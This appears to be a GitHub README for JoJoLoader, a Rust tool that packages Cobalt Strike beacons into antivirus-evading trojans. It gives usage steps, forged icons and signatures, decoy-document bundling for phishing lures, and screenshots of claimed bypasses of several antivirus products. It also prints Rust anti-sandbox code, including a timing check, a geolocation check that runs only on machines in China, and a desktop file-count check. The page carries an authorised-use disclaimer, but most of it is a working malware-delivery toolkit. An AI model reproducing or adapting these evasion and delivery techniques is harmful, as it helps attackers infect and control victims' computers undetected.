Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up

助力红队成员一键生成免杀木马,使用rust实现 | Help Redteam members generate Evasive Anti-virus software Trojan

NotificationsYou must be signed in to change notification settings

Pizz33/JoJoLoader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

27 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

JoJoLoader

JoJoLoader

助力红队成员一键生成免杀木马,使用rust实现 (by_hyyrent)

Help Redteam members generate Evasive Anti-virus software Trojan

更新说明

2024/08/07 优化免杀效果:360全家桶✔ 火绒✔ def✔ (病毒库最新)

image

开发背景

由于近年使用go来开发loader越来越普遍,导致杀软对go编译程序静态查杀力度增大,尤其是某数字杀软

对之前的go免杀项目千机多次优化后,发现效果仍不太理想,决定重构转投入rust的怀抱,因此有了此项目的诞生!

使用方式

与之前开发的千机一样,同样是支持一键化生成,生成自动替换图标签名

生成stageless payload

image

beacon_x64.bin (习惯使用4.7以上版本的CS,默认名称即是,其他版本自行改名)放置在当前目录下

image

点击一键生成.bat,等待免杀木马生成

image

输出免杀木马在output 文件夹下,随机六位数命名

其中sign标签文件为自动替换签名后的免杀木马,添加图标和签名最大化bypassQVM

image

钓鱼场景-释放正常文档

贴合实战钓鱼场景,支持正常文件释放,捆绑文档存放在bundle 文件夹下

默认放置打开损坏文档,实战根据需求自行修改代码

image

如果不需要捆绑文件,把对应行注释即可

image

程序图标

在 static 目录下放置了四个常见图标,可修改icon.rc对应名称进行调用

image

免杀效果展示

360和火绒

image

360杀毒

装了杀毒之后的360性能变强,qvm有时很玄学,如若碰到QVM情况尝试更换图标

image

defender

image

微步

项目发布时现测试,测试结果为安全

image

卡巴斯基 ESET

国外edr会扫描内存,需要对bin进行二开,单靠loader局限性很大,以下测试是基于二开的bin

image

image

环境安装

https://www.rust-lang.org/zh-CN/tools/install

image

下载安装相应的版本,双击运行,默认选择模式1进行安装,然后配置环境变量即可

image

如若安装后编译失败运行以下命令

rustup default stable-x86_64-pc-windows-msvc

反沙箱

反沙箱不是越多越好,只保留比较好用的三个,兼容绝大部分环境,并且尽量避免上传沙箱后虚拟主机上线

流速检测

pub fn flow_time() {    use std::time::{Duration, Instant};    use std::thread::sleep;    let start_time = Instant::now();    sleep(Duration::from_millis(5000));    let elapsed_time = start_time.elapsed();    if elapsed_time.as_millis() < 5000 {        std::process::exit(1);    }}

这个函数判断时间是否在沙箱内进行加速

检查出口 IP

fn ip() {    let output = Command::new("cmd")        .args(&["/c", "curl -s https://myip.ipip.net/"])        .creation_flags(CREATE_NO_WINDOW)        .output()        .expect("Failed to execute command");    if !output.status.success() {        std::process::exit(1);    }    let body = str::from_utf8(&output.stdout).expect("Failed to parse response");    if body.contains("中国") {    } else {        std::process::exit(1);    }}

这个函数通过curl 命令获取出口 IP,如果不在中国则退出程序

检查桌面文件数量

fn check_desktop() {    let desktop_path = get_desktop_path().expect("无法获取桌面路径");    let entries = match fs::read_dir(&desktop_path) {        Ok(entries) => entries,        Err(_) => {            std::process::exit(1);        }    };    let file_count = entries.filter_map(|entry| entry.ok()).count();    if file_count < 10 {        std::process::exit(1);    } else {    }}fn get_desktop_path() -> Option<PathBuf> {    let home_dir = dirs::home_dir()?;    #[cfg(target_os = "windows")]    return Some(home_dir.join("Desktop"));    None}

这个函数获取桌面路径并检查文件数量是否小于 10,如果小于 10 则退出程序

声明

  • 仅限用于技术研究和获得正式授权的攻防项目,请使用者遵守《中华人民共和国网络安全法》,切勿用于任何非法活动,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任!

  • 使用前先按照文档步骤一步一步来,报错问题自行百度解决,类似issue不予回复,感谢理解!

reference

代码有借鉴学习以下项目,commit当晚通宵没来得及写,现补上,另外免杀性失效自行修改代码,楼主仅提供一种思路,祝玩得开心♥

https://github.com/joaoviictorti/RustRedOps

https://github.com/xiao-zhu-zhu/RustBypassMap

About

助力红队成员一键生成免杀木马,使用rust实现 | Help Redteam members generate Evasive Anti-virus software Trojan

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published

[8]ページ先頭

©2009-2025 Movatter.jp